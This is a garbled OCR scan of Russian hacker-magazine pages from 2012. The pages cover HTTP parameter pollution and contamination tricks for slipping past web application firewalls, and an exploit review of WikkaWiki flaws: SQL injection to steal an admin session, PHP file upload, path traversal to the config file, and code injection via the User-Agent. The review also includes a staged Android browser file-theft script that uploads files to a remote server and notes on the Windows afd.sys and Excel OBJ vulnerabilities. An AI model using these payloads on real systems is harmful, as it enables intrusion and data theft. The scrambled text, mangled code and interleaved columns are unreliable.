jПа.коЙ ..,щпрос. !5JJQ.кируеrС.8 ...

запросо в для разны х веб-серверов реализованы очень по-разном у.

index.• i!spx?P'lge=.sJ~l ect .1, ZJ'! frol1l t.<!Qle wher:e.. J.d"l!.

Насколько сильно они отличаются, мы увидим дальше.

Одним из классических примеров издевательства над НТТР яв­

#/1, Т<!.КQЙ -

ляется прием НРР IНТТР Parameter Pollution) . Что зто? Для ответа

нет

inc!e.x.. i!spx?page=.s elect

:J.~Ri!ge=Z,3.

f.CQ.IJI ,table .wnere id=l

обратимся к теории . Во - первы х, к данным , которые пользователь передает серверу, при соединяется так называемая Она следует за символом

«?». Во-вторых,

Следует учитывать, что НРР уже давно не является новой тех­

Query String.

данные пользователя

нологией . Указанная выше презентация датируется

2009

годом.

разделяются на пары вида «имя_параметра=значение». В-третьи х,

Можно придумать бесконечное множество подобных НРР-трюков ,

зти пары конкатенируются друг с другом с помощью символа

чем и занялся I vап Markovic из Network Solution Inetsec.rs),

«&»

они должны быть закодированы специальным образом Iнапример,

который в итоге опубликовал небольш ую whitepaper про НТТР Parameter Contamination IНРС) . Чтобы лучше понять новый метод,

urlencode в РНР). Пример правильных запросов:

давай снова обратимся к теории .

или

«;».

Если пользовательские данные содержат спецсимволы, то

Итак, согласно

RFC, для НТТР определены две группы символов: 1. Зарезервированные, или специальные - а-z ,А-Z, 0-9 and_. ! -" 11. 2. Незарезервированные-;/?: ra & =+$,.

#GEТ

G~T.JfQ9?parl.::y.,J)1$tpar?=Y9J.? . НТТI'/J .. з,

..

Однако если ты прямо сейчас посмотришь на свою клавиатуру,

I \ л [J '.

#POST PQST . LfQQ HTII'/l,l .

то обнаружишь там еще и символы

~О.(lt.Ещ1;.: L,ength;. ),9

символы в имена и значения пара метров. Итоги его работы ты

{}

Вот на них-то наш

сербский др уг и акцентировал свое внимание. Он вставлял эти воочию сможе шь увидеть на прилагаемом скриншоте.

В качес тве доказательства эффективности НРС приведу несколько примеров обхода

WAF. 1. ModSecurity. Запрос вида http://loca lhost/?xp_cmdshell блокиру­

Итак, НРР представляет собой повторение имен параметров с

ется, а запрос http://localhost/?xpkmdshell-нет.

разными значениями. Так как подобное поведение, по идее, не определено в

RFC,

то разные веб-сервера будут обрабатывать та­

2. Обход dirtraversal URLScan . Запрос вида http://192.168 .2.1 05/ test.asp?file= .. /bIa.txt блокируется, а запрос http://192.168.2.105/ test.asp?fi le=.%./bIa.txt - нет.

кие входные данные по-разному. Вот при мер типичного «за грязне­

НИЯ параметров НТТР »:

?test(1=2

test_l=2

test(1=2

test(1=2

Curly bracket is changed with underscore

?test.l=2 ?(1&d=2

test_1=2

test.l=2

test. l =2

Curly bracket is changed with underscore

d=2 1=.а rray( 2) test_d::12

(1/ d=2

(1&d=2

First is ignored whole

1()хх=2

1()хх='2

test_d=12

test d=12 test d=12

test d=12

Characters beetwen аггау and equal sign аге ignored First sign plus converted to underscore, second to space Flrst space converted to underscore

?1()хх ::2

?test+d=1+2 ?test d=12

test d=12

рагат,

second query delimeter

?test=%

test=%

NULL

test=

JSP ignore

?test%x=l ?test%OO=l

test"~x=l

NULL

test=l

JSP ignore рагат, ASP ignore ргосеп! sign JSP include NUlL value in рагат key

?test%OOa=l

test=1

test+ =l test+ a=l

testx=l test=l test=l

JSP include NULL value

нттр

рагат,

ASP ignore value

(п регат

key, others ignore after

Parame!er Con!am;na!;on

ХАКЕР

02/157/2012

051


Павел Александрович

ВЗnОМ/ОБЗОРЭКСПЛОИТОВ

Дмитрий Михайлович

Iivinside.bIogspot.coml

11 1561 2, дер. Красная з в ез дочка , д . 11

Обзор эксплоитов в нашу нелегкую эпоху буйства компьютерных технологий мы с ра­ достью представляем очередной обзор нашумевших уязвимостей

и сплоитов для них . Как всегда, призываем тебя исп'ользовать их не хулиганства ради, а защиты для!

1

Множественные уязвимости в

WikkaWiki

будет ошибка) . Однако всегда можно выполнить подзапрос и увести идентификаторсессииадмина.Вотпримертакогозапроса:

CV SS V2

•••••••••••••••••••

7.5

•••••

[: N/AC: L!AU : N/C: P/I: Р/А: Р)

l7IiПD

В конце ноября была опубликована информация об уязвимостях в движке

WikkaWiki,

EgiX . Что

примечательно, на момент публикации уязвимости ещё

найденных товарищем

Egidio Romano aka

f'Q$I. Iwikl<аjJJ.~еr_sеt_1;Jщ:_s -':IПi>_О,_•.1 .... _... ____ ._____ ._._. ___ .. __________ .__ _ 1p.c_a.lb_p.s1: ____ ._ .... __.. __ ... ___ ... _... _. __.. _. __ .. ___ .___.... _.........._.. _...._._._ .. _........ (оо_!< ie : __ .~95.2.?_b217 а8_бе с а8? fб_cJП.Е!f!!.!!с.4с Z.f~=_c 3 u94_ b02.cs 1 u d ij.::!.vц!}!:!.-z.:!.Ар9-- ___... __ ._______ ._ . ___ .. ___._._ ._. _._._ ... __._. __.________ .__ .____... _._. CO!JtelJt.- L_елgt.Ь .: 1.4~. __ ..... __ ___ .. __ ._ .... _ .... ____ ._ .. _.... (::.o!J.t;e!Jt - ТУР.Е! : ... аррц'.с"tJоп}х -WW_\II .:fоrm: u.rJеlJсщlеcl._. __ .. _.._.. .. _. СQлпесtiоп;._ .!<e ep -аН\lе .... _._... _..

Но.:;:\:_ :

>

••• _

••

не были закрыты: исследователь выжидал почти два месяца по ­

сле отправки отчета разработчику, но тот по каким-то причинам

;! .С;.tJ9п=uр.d<l.1:е&еm,!Ц':Оt.еs t%4~1;e_S.1:. сот&

не торопился исправлять баги.

d.Е!.fачJ.1:_С_ОlJ!шеlJt_ф.sрJ.<!У=' ,Е;!f!I<!Н':О ...

1.

SQL-инъекция в операторе

UPDATE. Уязвимый

код на х одится

в файле /act ions/usersetti ngs/usersettings.php, строки cJ~f"u),

t

___",aHcj... _. __

~ jj _j,Dt>чt .i~

II N L\.I lII1ICFC lII1ICFC IItI6I:FC llI16CFF 11816112 1l1li61. 1"'''' _. 1111601[

140-152:

_ __ .__________ ._______ .. ________ ._. ___ .. ___ .__.____._._. __

____ .______ ... _____ .. _._ .___________ ._._._.. __ .. _. ___ ... ____ .__ . _

~this ->.Q\!еI'}'(''

U!'QI\I!;___" ,_$tbi.~_c.~Get\:oofigV_<IJue(

' :t.<ltЙ~J>гefjк: )_,. :~lJ~er.~..

__ .. _. __.______.___ ... _

SЕI ..eJ!1<!Н___':О ._ '. " . J11X~Cj),J.е"),3.~с'НJ~_~:t.С:j,оg(~emg.iJ),_::_', ___ ... __ ._____ .________ ._. __

.

" . my~qlJе<!),3ш!~_:;trij1g($Qо_u_Q),~с.Нсk~..J.1: ).,." " sho.UOl1lТ1e!1ts= :.:' .mysqlJ~aJ_еsс<!~_stI'tпg($s_~_сoomeпt-~J, ,,_' , ..... . def,!Ul:Cс~Г)t_disр1;3У,:о'-'~•.$dеf<!чJt_сOlll!leГ)1:_cJi.sРlаУ_. '.'. '.,. r.еуts;i.Qп щuоt _.':0 ._" ., $re",i~iQIJcou.nt ." , .__ ._. ....... .____ ... __ .__ .. _._.. ._ .. . chаJJgеsсоvлt--:=.. '.'.• $сЬаJJgЕ!щJvпt. ",- ___________________________ .____ .. ___ .__ .. _____________ .__ .___ _ t _bE!f11E! .= _' " .l!IY-sCj1Jеаl_е_s_с<!ре_S1:.г;i.!Jg(~уsеr:1:.ЬE!!lJE!J. :'. '_ __ _. ~_ERE п<!me .:=__ _' "_.$use.r[ ' пате' ] •."_'. __ .. _. ___ ._. _._ ... ___ .. _____ .. ____ ._. _______ .. ____ .... _._._._

... -......

lOC_16CFC:

88 _ 08 80 ... 1

..

...

и.

~

1 1' D

::~:.

lIИ6I11 7

1

.,

ФuQJ,есЦс!<~dJt='

Ц;МП. l"

)..;. --

~

III N 1:0016014 88 7F 20 01 80816018 7S 1F

08016D1А А1

се

13 01 88

00016D1F 88 80 08016021 39 Jf7 00016024 72 06

88016026

ас

что функция mysql_real_escape_string[) предварительно не об­

II N W

рабатывает пара метр

OIJ016D2C

внедрить в него про из вольный SQL-запрос. В некоторы х случаях нам не удастся изменить со держимое таблицы

users, например

пароль админа, подвум причинам. Во-первы х, указанный запрос является многострочным, а во-вторых, последние версии

052

ое

• J J

- .... r.~.':[ ...x. ]. Short .с 1'" '>-

СОР

byte ptr [e dl +20h ].

jnz

s hort loc 16039

но

11

""

еах,

ds :_1"p_tblUserprobeAddress

"о

еах.

[ео1Х]

С"" jb

[edl+3Ch]. short loc

110 80 08 00 88

f

'ах 16D2С

d",ordptr

""

ВОО1602С

.. · ~I

loc_1602C : зс

ООО

lах,

[edi+3C h)

88016D2f 88 08 0ОО16ОЗ1 89 О. 88016033 88 48 В4 00016036 89 48 84

IOOО

есх.

[еах]

ООО

[ . ах ] ,

ООО

есх,

0IJО16D2С

88 .. 7

MySQL

не поддерживают незакрытые ком менты [коммент, открывающий­ ся значками /*, дол жен всегда оканчиваться значками */ - иначе

] ...."

~ С1

при выполнении запроса, содержащегося в зтом коде, мы видим, мы можем

т

[ ••••1

~

II N

III N

default_comment_display, а значит,

-

:::: 1::r.~J

"".1·»r [.... ]. ""~ [eDr

ОО О

ее х

[Iах+ 4 ]

[еах+4] . есх

iH Уязвимость в функции AfdJoinLeaf

ХАКЕР

02/157/2012


Обзор эксплоитов

( SЕ LЕ C:r. ...~.~.:;.sj..Q!l i .d .f ВQМ ...wJ!sJ~.i;l_:;~:;.:;iQD.S ... WШВI . !Jserid= 'Ш .IsJ,l\ф:пiп: ) ,ttJ.!~J!1~=..:.... . .... _............ в том случае, если админ в данный момент залогинен, атакующий

увидит идентификатор его сессии в поле формы

UserSettings, пред­ e-mail'a. Если админ вручную не завершил сеанс работы в системе 'то есть не нажал на Logout!, атакующий назначенном для ввода

сможет использовать номер его сессии, который останется в БД. Благодаря функции

magicQuotesWorkaround, успешная эксплуата­ «magic_quotes_gpc = оН».

ция даже не требует директивы

2.

Загрузка произвольных файлов. Уязвимый код содержится

в файле /actions/files/files .php, строки

elsei f

(РГ.~~rng:tФС

/... +\.. С

266-278:

o.$al)..oweQ_ext!!n~j,.Q!]S,

Уязвимы й КОД в /handlers/files.xml/files.xml.php

.

' )$Л : , . $J:I:ЦS[ 'filе' J[ 'ЛiJJ1!!!.' ])) .

держится в фаЙле/hапdlегs/filеs.хml/filеs.хml.рhр. Ты можешь

{ $st~iрр~QЛ;J.l!lе ..=. stc~epJiJ.c.~.C'.\ $JIЦSI:.!jJе' ]

увидеть его на соответствующем рисунке. Проверка передан­

' , , : ' , ................ .

ного пользователем имени файла производится единственный

[ ' пате ' 1) ; .....

$stripp~q!]iJ.rn!! . = rаwu~lеШ:;9Сj~.($striрреqП.<!.Ю~.)j

раз, в строке

..

54, и отсекает все файлы, имя которых начинается

$striрреgЛiJffi~ .. = striрslа.sЬеs.($striрреdШ!ffi~)j.

с точки . Такой прием не помешает атакующему реализовать атаку

$dest.fi1e. ;;...$щ:Йоаd_РiJt.Ь.,.DIВЕЧQRУ_SЕI'I\МIР.R., $s:t.riрреdПiJJ!1~j ..

типа

Path Тгаvегsаl-запрос

на скачивание конфигурационного

файла движка выглядиттак:

if if

C..

(!fiJ.e_e~ists($destfil~).) ...

СrnQУf,UJр1Qяdеd_Ые($JI.LЕS[

$d~:;:tfiJ~}){ $nоtJ.б!;iJ.tiО.П_!!Isg

}

'.file' ] [ ' :\;юр_[щще' ], ....................... = 'C( "file was suc!;es.sfully uploa.deq.. " );

/1.ttp ; / /.local.09s.t L.wikk<l/test/.fi.l.es.., xml?action=download&file=/. '/' ./wikka.config.php Ну и на десерт произвольное выполнение кода. уязвимы й код

4.

.........................

содержится в функции 10gSpaml! файла /Iibs/Wakka.class.php, Если в конфиге присутствует пара метр

'INTRANET_MODE' или ата­

строки

1315-1343:

кующий похитил идентификатор сессии с помощью вышеописанно­ го бага, то он может загрузить на сервер файл сдвойным расширени­ ем, что позволит ему, например, выполнить произвольный РНР-код .

Стоит обратить внимание на переменную $allowed_extensions, в ко­ торой определены допустимые типы файлов. Вот как она выглядит:

'g;i f I jpeg.ljp.gljpe IрпgldШ:.!i5)S l.cs\(Jpp.t I.PP.;1;!.PPs I pQt I pdf.I .... a.scl t~tJ~JрJg:t.ягl g;! I Q.z;1!.:t.<IJ:.I г.<!.гl vpplmppjys.d! тт I htm I iJtrnl.:..

fyn.c1;,i,Qn lQgsраm(ЙУРе, $j:ag, $Ь.оdУ.,.kg<lsоn.,$ur1CQ.чо:t,.$щес= ' , ,$time= ' , ) { ....... ... _.....$spiJJ1!l.ogpaJ./J.. = .(isse1;($thi~- ~'(:OD.fil:.[ 'sPiJ1I11Qg_PiJ:tt! '] )}? .. . . $t;h.i.s .с>.~gлfig[ ' spi;lmJo~pgJb. ' . J. ..; .ЩСSF'А!1Ч)§],А.П{j . i .f . ($щеr ;;.=. ... '.:J . { $цsеr

в этом списке присутствуют достаточно редкие расширения, которые не отражены в МIМЕ-типах конфигурации Apache, например тт,

.=. $JhJ:; с.>GеtUsегN"шеОj .

}

......i f

vpp,

($Цте==

..'. : ) .

.{

в результате чего у атакующего появляется возможность выполнить

произвольный РНР-код . Следующий запрос демонстрирует загрузку

файла с именем test.php.mm и содержимым <?php phpinfoll; ?>:

POS.T I.wi.kJ~iJ/t.~.s:tI:iI.ТP /J.o.l ............... . Host: .. 1oc"J..iJost CPQkie: .Яб.5ДЬ:Ц Z.а6.б.еС.iJ62.f9d72!!f88с4с1.f.4 =~рj hs.dd 5~tc-'H Ь5.5gv3.Е11!,!j~.t.З .. .................. . с.ол:tелj;. с.L.~лg:t.Ь .: ... 2.51 ..................... . сРп:tе П.t.С TYP~.;..!!Iu!. Црагt.l.f.QГ.юсqа:tа.j Ьоuпdа ('У.= .:. - .С .-.С..-. - с..l5еЗ5..з.~J2.Z .. СоппесЦgд;.. kе~р-аJi.У~. _..... - - - - - - - - -..-J.S.!,!3534127 Сопtепj:.с. Dj,.~.РQS.i.t. i.Оn .: ... f.Qё.Ю.с. d.iJ.ti;l j .. f)а!!lе.=. ".бl.е." j fil.еl1i;lЮ.е=.::j;.~.:;j; , рl1Р .о тщ': Соп:t~лt.с I.ур~. ;...

.

.....

iJpp.licatJ..QD.IQc.tet- streaffi ..........

<?р.hР... рhр;iлfQ ().;

.. {

$orig~I)Jp...= '!'!."1.!,!.е : j .. } .... ..el.se .. ..... ,{.... ... $ог;i.g;i.л;i,р. ;; . $_$ЕRVЕR( 'В.ЕJ1Р.тСАD.RR' ] j ................. . ..... .} . .. .. $l,Ja .= . (:iдg:\;($_$.ЕRVЕR [ 'НТП>_L)$.~fU~~~N.т.' ])) ..J..... .... '[' . $_$~~\ШН 'fjТJP_USЕ[UIG.ЕJП: ] . ' ] , .. : .' ЛJ' j . ...$J;>ody .. = triш($J:ш.QУ)j ................ . .... $sig ..=. $F'A!1.~Q§_$:):G ..'. ' о $typ~.o..' ... '.• $Jirne ..:....:.0$:\:<;11:.' ' ... $qrigirJip,..' .. С. ' .$щеr. '... : .о.$У.а.,' . с . ' ... $re<l.s.Q.IJ.. ' . ..$.l,Jr).Щl,Jпj;.о "\n" j ....

.........

?~ ...................................................

.. ... $!;on:ten1; ..':...$~Jg,$bO!jy.• " \П\I1 " ~._ ... retu ('п $thJs c.~" ppen.Qfile ($SРЯ.l!l.lQgР<l1;/1.,.$СQп.t~.n.t)j

------- ~=~ 15e3534127

Сопtеп.t .:.RJsроsJНОf) :

.. f.Qгm:dя:tаj

лаm.е;;.::чРl.оа.d ':

.

i.Jp:!..oad ..... _........ - - -- - с - с c..:J .5.!'!.JsJ.412.7 = с ....... З.

Выгрузка произвольных файлов. Интересующий нас код со-

ХАКЕР

02/157/2012

.

}

....

Если в конфиге включена опция spamJogging, то атакующий сможет внедрить произвольный РНР-код в файл, заданный в переменной

$spamlogpath [по умолчанию ./spamlog.txt.php! через элемент массива $_SERVER[ 'НПР_USER_AG ENT' ]. Запрос, иллюстрирующий

053


ВЭЛОМ/ОБ30РЭКСПЛОИТОВ

fwr.i Ье(Нр.,... pri nt_r ($ _pQST, .. ТlщЕ» ... ос .................... . ....diе.С СQJ,I':!"Qд' .t writ.e da.t<! tQ .. fiJe.!.".);...................... fсlще($.fр); ...... ........................... echQ ."О'ФJ...урJ.Qi!.Q.еd ..to <а href.=\,'.ijle.S•.t.~.t'l..'~.~fiJe~ •.tllt ~j<! > !" j ..

вышесказанное:

"О5] jw ikk.<!/t.е:;J f,нjQ.~.Оl!ll))~n.t ...I:!JП)f:l, ,.;1.

Hos1;: 1 .Q~.altJ.Q~J ..........._........................ ... .............................. Cookie: 9б522.1:1417.<!.!!.бJ~.~jJ!!.zfб.d72,.еf88с4с7.f4.:'бJJJJ!~J!.У.еfб.4.Z .. Oqj а\iе~fпр!;!З ....................................... User-Agen:t : ... ~Iрl).р .. рJlPJлf.QОj... ~~.. . Contellt.- Length.:...41....... . .................. c.ontent - Туре:... аР.р.ц.!;.<!ц'OJ!j~.= .w\'l.w.-fОгl1J c.u rJe Ilc.ode.Q.. connection: . k.eep.-. a~.i\i.e...... ................. body=foo&su!:>I1J.it.:,M.Q.±.c.QI1J.m~n:t ... _ .._................................ _

·'·j;J1jf1

}

......... .

Апdгоid

< 2.3.4 .

1.

Отключить

2.

Использовать альтернативный браузер.

JavaScript

в стандартном браузере.

WikkaWiki<= 1.3.2.

3

f1·)!ljj('H' Установить обновления

2

Wikka

1 .3.2-р7.

CVSSV2

Кража данных с аппаратов на пnатформе

Апdгоid

CVSSV2

•••••••••••••••••• Ш1П

Быстро растущая популярность ОС

MS11-080: повыwение привиnегий с помощыо уязвимости В драйвере AFD

4.3

•••

[AV: N/ АС: М/ Au: N/C :P/I: N/ А: N! Android привлекает внимание

•••••••••••••••••••

7.2

••••

IAV: L/ АС: L/Au: N/C :(/1:(/А :С!

Ш1П

Уязвимость, позволяющая получить системные привилегии при исполнении кода налокальной системе, была обнаруженатовари­

щем Во Zhou. Эта уязвимость, скрывающаяся в недрах драйвера afd . sys lапсillагу fuгтсtiоп dri ver!, обусловлена неправильной проверкой в хо дны х данных, передаваемых в режим ядра из режима пользова­

хакерско го сообщества . В ней регулярно на хо дят различного рода

теля. В случае успешной зксплуатации этой уязвимости локальный

багибезопасности.СегодняречьпоЙдетобуязвимости,благодаря

атакующий получает возможность выполнить произвольный код и,

которой атакующий может получить содержимое любого файла

соо тветственно, добиться полного контроля над системой.

Драйвер

сустройства подАпdгоid.

afd.sys

представляет собой прослойку между

драйвером TCP/IP-стека tcpip.sys и библиотекой пользо­ вательского уровня Уязвимость обусловлена несколькими факторами:

1.

Стандартный браузер в

Android

Winsock.

Он регистрируется как

NPI-

провайдер и предоставляет доступ к сокетам режима ядра

в некоторых случаях не оповеща­

Wiпsосk Kernel [WSK!.

ет пользователя о скачивании файла .

2.

С помощью специального JаvаSсгiрt -ко да можно заставить брау­

зер открыть любой файл, хранящийся в памяти устройства. З . С помощью специального JаvаSсг i рt-кода можно получить со-

держи мое л юбого локального файла . Эксплоит, которому на

Exploit DВ присвоен

Уязвимость сокрыта в функции в драйвер

номер

AfdJoinLeaf.

В хо де ее анализа

выяснилось, что она может получить уп равление в случае, если

afd

приходит

IOCTL с

кодом Ох120ЬЬ :

18164, действует

в несколько эта пов . На нулевом этапе пользователю предлагается пройти по вредоносной ссылке:

..................

function stаgее($.S.Р:,JрtщJ.J ... с. echo " <.Ь>Ап. dгоiQ ... ~ ... 2" ..З .. 4 < /Ь> <br >Data 51;ei31ing...W.eP.... . Page <Ьг ><br>O.ic.K.:.._<<!....o.ref.=\ .. $. S.Cr .i .ptur:J. ~.st.яgе.,,:J..\' ~~.... MaliciQus Liпk<j а >.~'. j ........... } Первый этап -

PAG.EAFD';.e.e.f1 :!.J~1..(4 ..

rn.Qv.... . .. [e.dx t l ] ,. Ql ............................... ....... еs.l.,_МdIГРСi!JJД;i.sр<!t.<;ЛlеsJ.J. ; . е~л.и .. IQО1..с...Щ/J,ом.. ~Хl?еI;ФJ ... :Г9 .. е.~i...':':... еl(J2n(t .... РАGЕI\FD:.е~Щ.[!JCI). tеst esi, esi .... .... ............. . PAG~Af.D : ееЩ.6JСf jz loc_21AFJ... ..............._ ................. РАGЕАFD. : е(tе:J..В1D5. call esi j саЦ AfQJ9;i.IJ.LJ~.ilf.. _........ РАщАfо.: .ее~;J,6.зд.... {IIQу

редирект пользователя на страничку с вредоносным

Jа vаSсгiрt-ко дом, который без ведома пользователя скачивается при помощи контент-провайдера соm.апdгоid.htmlfilергоvidег:

· data: еееl,Щ!8 _Mdlrp.CallDispatch dd .off.;;.et.. @Afgj~J[Jq@6 · dat;a : еееЦ:J,6!;! ..... , ОАТА. XREF: АfdDisраt.сhD.е\iiс;е.С.оп:tгоl(~J х) .data: eee121B8 . J (lfdBind( x,x).. . ..........................

function sti;Jgel.C$.:;.!;rip:t.yrl ) ...{ . echo " < ЬоdУ... олlоаQ.=-"~'.sе:t1iI)).еQUt.(' wi.ndОW .. 1.QЧltJQО.. =\ ' $sc.riptu.rl? st.age.=2,.~'.'.., :J..eee)j s.e:tJim.eQ!Jt. С '. wiл.Q.Q.w.•...... lОС. i3.tiоп= \'. С.QлtеJJ.t.;. I.I.С.Q.I1J .•.iНtQrP.i.d ..htmlfi.lерги!iQ.ех:I. .... _...... . sQC"rd/do\'ln1..QaQL.PQ!;.,.bt.I!1J\~ ~ , ... 2e~eJ; \" ) " ; ..........._ ............... } ...... ................... .. ................... - .............

· data: еееlzце .... ро .. offset .. @АfdJо.iп~еi!.f@.е.................. . AfdJQinLeafC~.,. x )...... . ...................................

Чтобы мы могли добраться до уязвимого базового блока , должно Второй этап

-

выполнение вредоносного JаvаSсгiрt-кода на ло­

кальном устройстве и получение требуемых файлов . Вредонос­ ный ко д смотри на соответствующем рисунке.

Трети й этап

-

загрузка файлов на удаленн ы й сервер:

быть выполнено несколько требований:

• • •

размер входного буфера должен быть больше Ох18; размер выходного буфера должен быть равен О ;

четвертый

DWORD во в хо дном

буфере должен быть равен

ОхОООООО01;

fuщц.оп..

stage;\O....{......._...._......... ...... ......................._ .. _........ _.......... .. .... .. _._ ..... _.......... ф.е С'.С.QuJdл'. :t. ..Qр.еД ..tiJ.е . fQГ . \'IritJng! .~' )j.............. _.................

$fp =

fop.elJ. C tiJ.e:;,. txt.:~ , ..~~.\'I~~.) Qr

значение WORD'a по адресу [в хо дной буфер + Ох34], увеличенное на 8, должно быть меньше или равно [размер входного буфера­ Ох С]

ХАКЕР

02/157/2012


ВреАОНОСН ый JavaScri рl-КОААЛЯ Алdгоid

PAG~ : _~I')_e1_6C1D ___m()у еРх. __ eiJ_ )\_ ; YKi!?aTenb на IRI'_ StacK PAGE : 1')_1')~16C1F _mQv__ [ebptlrp]4 есх ~ __ есх п.аJ<еr IRP PAGE ;ШШ_16.С22 _ )\QC esi, __ es;i __ PAG_~ : ~e~16C24 1!19У .[ ebp+v.ar_213], es;i PAGE: l')~e16C27 _I!I9У [ebp+P]4 ___ esi PAGE; ~~e16C2A _ !I1()Y ei!x,Cebx+8] ; _Р9_,н.,ер BXOA!:i_Qr() буфеRi'!__ PAGE :Jjl')e16C2[) ___ ~_mp __ еах, ___:lдtt ~ ДОЛЖен ___ быт ь б~ЩеЦl_е еХ18 _____ _ PAGE_: 1')<\\Ц6СЗ~___ j)J___ ~oc_17eI~ _ PAGE: еее16СЗ6 .__ I!IОУ edx, JebX+4] ; _Ri'!3MeP BbIXQAI:t0rO БУФеR_а PAGE: еее16СЗ9 __ !;I!IР. edx, esJ _~ должен . __быть == _ ~_ PAGE: е~_е16СЗВ __ jz _short 10с_16С46

Теперь необходимо записать наши данные в выходной буфер

IRP. Для осуществления этой затеи нужно вызвать функцию AfdRestartJoin в базовом блоке по адресу OxOOOl6f54 . В итоге это при ведет к вызову функци И AfdConnectApcKernel Routine, которая попытается записать NTSTATUS-KOA в выходной буфер IRP Iв на­ шем случае код равен ОхСООО0207). Записав в буфер значение ОхСООО0207 без учета выра вниван ия, м ы сможем вызывать наш шелл-код в пространстве пользователя по адресу ОхОО0207хх.

I,,';I'I{'

Windows ХР Service Pack 3; Windows ХР Professional х64 Edition Service Pack 2, Windows Server 2003 Service Pack 2, Windows Server 2003 х64 Edition Service Pack 2, Windows Server 2003 SP2 для Itanium-

WEXLER.BOOK Е5001 « МЕТРО

2033» ДМИТРИЯ ГЛУХОВСКОro и ЕЩ~ ДВА РОМАНА КУЛЬТОВОЙ СЕРИИ БЕСПЛАТНО В ЭТОЙ ЭЛЕКТРОННОЙ КНИГЕ WEXLER

Ьаsеd-систем.

КОМФОРТНОЕ ЧТЕНИЕ Существует обновление, устра няющее эту уязвимость .

, OBJ

CVSSV 2

•••••••••••••••••••

•••

[AV:N/АС : М/ Аи: N/C :C/I: С/ А :С)

Для использования этой уязвимости атакующий должен за­ стави ть пользователя открыть специальным образом сформиро-

02 /157/2012

ЭКРАН • liI

9.3

IШПП

ХАКЕР

СТИЛЬНЫЙ ГАДЖЕТ

Уязвимость MS11-038 в Microsoft Office Excel, возникающая при обработке записи и приводящая к перепоnнению буфера

11 •

+ ...

• •

ИГРЫ

5"

li1 :::::'~/НИЕВЫЙ l1li РАДИО И МР3 W КОЖАНЫЙ ЧЕХОЛ W ЭЛЕКТРОННАЯ БИБЛИОТЕКА

.~~~E 200 тыс.

ф WeXLer:

а CJ ~:~~k~C. ПОДЗАРЯДКИ

www.wexler.ru

М.Ш"''§Щ!

ТЕЛЕФОН ГОРЯЧЕЙ линии :

8 (800) 200 9б БО


ВЭЛОМ/ОБЗОРЭКСПЛОИТОВ

ванный хls-фаЙл. В результате у атакующего появится воз­ можность выполнить произвольный код на локальной машине

.' te.x t : .:щl,д.АЕз..........сI1JQ ............еЬ1<4 . esi ........................................ . ..1;ехt;з.~1.ц.8Е.2 ........ jпz ....... lщ_з~1д2~.3 ........................................

с правами пользователя, запустившего уязвимое приложение.

..,tex:t :.з.8Ц.729.2 ....... Qli~h .. __ dwol"d P.tl" jeb.xt41 ........ __ ... .. .:tех:t; .:зi'ц:z.~~R..... __ .. ~aJJ....... 5uЬ_з81272бз ................................. .

'!34!']" Запись

OBJ в Excel определяеттакие объекты, как Liпе, Rectangular, элементуправления CheckBox и т. д. Существуют

в первой строке дизассемблернога листин га происходит копиро­

разные типы ОВJ-записей, отличающиеся дочерними записями .

вание адреса буфера, содержащего записи

Структура дочерних записей идентична структуре файлов фор­ мата

буфе-ре. Еслиты обратил внимание на

BIFF.

Это означает, что первые два байта представляют собой

ftCmo,

в регистр

edi.

Затем в еЬх копируется значение по смещению Ох6 в этом

CTPYKTypyftCmo, тодолжен 12 байт резервируют­

был заметить, что, начиная с этого офсета,

идентификаторы дочерней записи, следующие два байта указы­

ся. Поэтому результат, который копируется в еЬх, представляет

вают размер данных, а далее следуют сами данные. При ведем

собой первые четыре байта зарезервированного значения. Если ты посмотришь на последующий код, то увидишь, что

список возможн ых дочерн их записей:

по адресу Ох30127293 значение контролируемого нами регистра Дочерняя запись.......... .зJ!!'!':(е.tше

еЬх+4 заносится в стек . Впоследствии оно используется в каче­

ftЕлd....

стве аргумента функции

Описание ........................... ... . ....................~h .................. КQнец . QВJ-~апl'tс:I1................................... (;!арезер'Вl1р.о.В<JНJ;» .......~;J.Ь............. .. .. .... ........................................... .(Jарез.ервированр) ......jj.~h.... .. ............................_. (3аре~еРВИРQваI:Ю) ......~Jb.................. .................. _......JMb ........_..........Fm1a -stуk. m<Jсrо ............................... ftf1,lCro.. i't.Butt.oГl ................ ~.~.b ................. !;QIIII1al1d ..Ьut1;9Л ....... _............... .. f1;Gmo ................... ~Rb.................... GrQIJP..marke.r ......................... ftCf ..................fJ.?lJ.................. !;Jjpt>oar.9. forma:t............................... fj:PiqGrbi:t ...........~I!Jl ...........Pi.cture орЦоп JJgg~ ........... _ ..... . t,tl'ictFmla ...................E.'I2Ь................... pic.t ure fmla~~t~ile П1асг.9_............. ftCbls .................fJAt! ..................'cbec.k...bo>$link .................................. ftRt:,o ....8~.b................... Radio . button ftSbs ................ ОСЬ................. _. ScrQll Ьаг: ftNts ..............................~P..b _ ................ Note.. str:uctur.e.................................... ftSbsFmla ..... _ .........щh.................... sс:rQц .Ьаг: ..fml.а с.s:t;уJе_.]!1iю:'.Q ........ ftGboData ...... fJ.F.h... _ .... _...... .GTojJP. p9xdata ...................................... ftEdoData .. _ ...............J~.b.................. JJJ,i,t .. солtr:'Ql .. d.<ltа .......... _ ................ ftRboD<Jta ....................1ц1 .................R<Jd,i,Q Ьuttол .da1;.<I . .. ......................_ ftcl:>lsQatiJ ...................12h................... Check Ьох da:ta ............................. .. ftLbsDat<l . ... :l.3b................. Цs1; .. Ь.ох Qata ......................... ftCblsFmla 14h ...... C.becJ~ JЮ>$J,iJlk .fт1а.-.stуlе. .. шаИ9 ftCmo ...... :!.5Ь .... _ ..... ......да.нные объеКТ.а . ..............................

Первой всегда идет дочерняя запись

Перечислим также поля подзаписи

ftCmo, ftCmo:

а последней

- ftEnd.

Смещение........иr1f! . J1.QI)в. ......... f'.а.~меR

fJ 2 4 R. 8 14

....с,одержимое......................................... ...............~ ......._....... =.ftCI1JQ .( :).S!1) ................................... .С.I:> _ ....................~ .............. I'.азМеR.. данНЬ,l,х ..f:!:,C!!lQ....................... ......Q:t;........._..............~.............J!1Л .. О.t1ъе.кта .............._......................... . :i..с! ........................~ ................Иде-':!тифиК.<!п>рJQ .QРъ.еы.а........... .. gr.bi:t.............._z............... РлциоtjалЬtiые .фmН: и. __ ..... _ ........... .._.. ,(R.eser.y.e.Q).....;1,Z............ ~аре~ерВи.роВ.аНQ; .. дQIJ)I\нQ ,,".7... ~..

sub_30127263.

На этом шаге фактически

и возникает уязвимость, поскольку никаких проверок т о го , до­

пустимо ли значение для еЬх, не пр ово дится .

Фун кция

su Ь_30 127263 прибавляет к значению

аргумента

